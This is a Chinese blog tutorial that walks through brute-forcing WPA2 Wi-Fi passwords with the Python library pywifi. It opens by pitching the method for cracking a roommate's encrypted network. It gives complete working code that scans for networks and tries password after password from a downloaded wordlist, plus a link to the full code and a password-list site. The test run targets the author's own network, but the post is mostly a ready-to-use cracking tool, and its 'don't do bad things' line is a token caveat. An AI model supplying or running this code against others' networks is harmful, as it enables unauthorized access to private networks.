大数跨境
0
0

python网络攻防实战——尝试用pywifi破解wifi

python网络攻防实战——尝试用pywifi破解wifi 数据皮皮侠
2019-11-13
0
导读:python网络攻防实战——尝试用pywifi破解wifi

python网络攻防实战——尝试用pywifi破解wifi



当你流量用尽看着室友的加密WiFi一筹莫展时,别再用不安全的wifi破解大师了,快来试试python中的pywifi吧!



Pywifi是一个专门用来破解wifi密码的第三方库,可以在 https://pypi.org/project/pywifi/  网站上查看它的官方文档。与其他库相同,在使用前需要安装库。

pip install pywifi


pywifi破解wifi密码是一种暴力破解的方式,原理就是操纵网卡,通过穷举法一个一个的读取密码本上的密码进行连接,直到密码正确。

在进行破解之前,先通过如下代码测试网卡状态和扫描周围的wifi。


import pywifi
import time
from pywifi import const

#创建一个wifi对象
wifi = pywifi.PyWiFi()#创建WiFi对象
iface = wifi.interfaces()[0]#获取网卡
name = iface.name()#网卡名称
iface.scan()#扫描AP
time.sleep(1)
bessis = iface.scan_results()#扫描结果列表
for data in bessis:#输出扫描到的WiFi名称
print(data.ssid)
if iface.status() in [const.IFACE_DISCONNECTED,const.IFACE_INACTIVE]:#检测网卡是否连接
print("网卡未连接")
else:
print("网卡已连接")

 

扫描到的结果如下:


测试用的wifi名称为python test                                   


搜索到的16个wifi信息,并且可以具体查看


本机网卡信息为:                                                       


工欲善其事必先利其器,要想要破解wifi,就必须找到一个合适的密码本作为穷举法的依据。这里推荐一个网站:https://weakpass.com/


该网站提供了一些常用的、有规律可循的密码序列,鉴于性能和测试的初衷,这里只选取了包含100万个密码序列的密码本进行下载。内部的部分密码如下:



1.     导入相关库:

import time  #时间
import pywifi #破解wifi
from pywifi import const #引用一些定义
from asyncio.tasks import sleep #执行异步操作时需要


2.     网卡的配置:

class PoJie():
def __init__(self,path):
self.file=open(path,"r",errors="ignore")
wifi = pywifi.PyWiFi() #抓取网卡接口
self.iface = wifi.interfaces()[0]#抓取第一个无限网卡
self.iface.disconnect() #测试链接断开所有链接

time.sleep(1) #因为连接需要时间,所以每次连接间需要间隔,休眠1秒

#测试网卡是否属于断开状态,
assert self.iface.status() in \ [const.IFACE_DISCONNECTED,const.IFACE_INACTIVE]



3.     定义从密码本中读取密码的函数:

def readPassWord(self):
print("开始破解:")
while True:

try:
myStr =self.file.readline()
if not myStr:
break
bool1=self.test_connect(myStr)

if bool1:
print("密码正确:",myStr)
break
else:
print("密码错误:"+myStr)
sleep(3)
except:
continue



4.     定义测试密码是否正确的测试连接函数:

def test_connect(self,findStr):#测试链接

profile = pywifi.Profile() #创建wifi链接文件
profile.ssid ="python test" #wifi名称
profile.auth = const.AUTH_ALG_OPEN #网卡的开放,
profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法
profile.cipher = const.CIPHER_TYPE_CCMP #加密单元
profile.key = findStr #密码
self.iface.remove_all_network_profiles() #删除所有的wifi文件
tmp_profile = self.iface.add_network_profile(profile)#设定新的链接文件
self.iface.connect(tmp_profile)#链接
time.sleep(5)
if self.iface.status() == const.IFACE_CONNECTED: #判断是否连接上
isOK=True
else:
isOK=False
self.iface.disconnect() #断开
time.sleep(1)
#检查断开状态
assert self.iface.status() in\
[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]

return isOK

def __del__(self):
self.file.close()



5.     开始进行密码破解测试:

path="password.txt"
start=PoJie(path)
start.readPassWord()


6.     破解结果:

我设置的待破解的WiFi名称为:python test ;密码为:python123test。

由于该密码由我自己设计具有特殊性,考虑到我所下载的字典中可能没有,于是在字典随机某行中加入该密码文本段。

运行代码:

破解成功!


总结与拓展:

使用python中的pywifi库来破解wifi时,只能破解具有一般规律性或者在包含于密码本中的wifi。当密码位数增加时,穷举法使用的密码本的量呈指数增长,其时间复杂度也呈指数级增长。



虽然pywifi库只能进行简单的密码破解,但是却不能忽视python强大的功能,以及拓展出破解wpa加密算法的其他破解方法。例如通过预先生成哈希表的方式来计算PMK(pairwise master key=ssid+psk)破解密码。


感兴趣的同学可以通过下面的链接下载代码进行实验。(不要用来做坏事哟!)


链接:https://pan.baidu.com/s/1EDL7YudcBJpvDXSM46Mn4g

提取码:9b8z


欢迎关注数据皮皮侠!



作者:王捷

编辑校对:郭通

【声明】内容源于网络
0
0
数据皮皮侠
社科数据综合服务中心,立志服务百千万社科学者
内容 2137
粉丝 0
数据皮皮侠 社科数据综合服务中心,立志服务百千万社科学者
总阅读2.8k
粉丝0
内容2.1k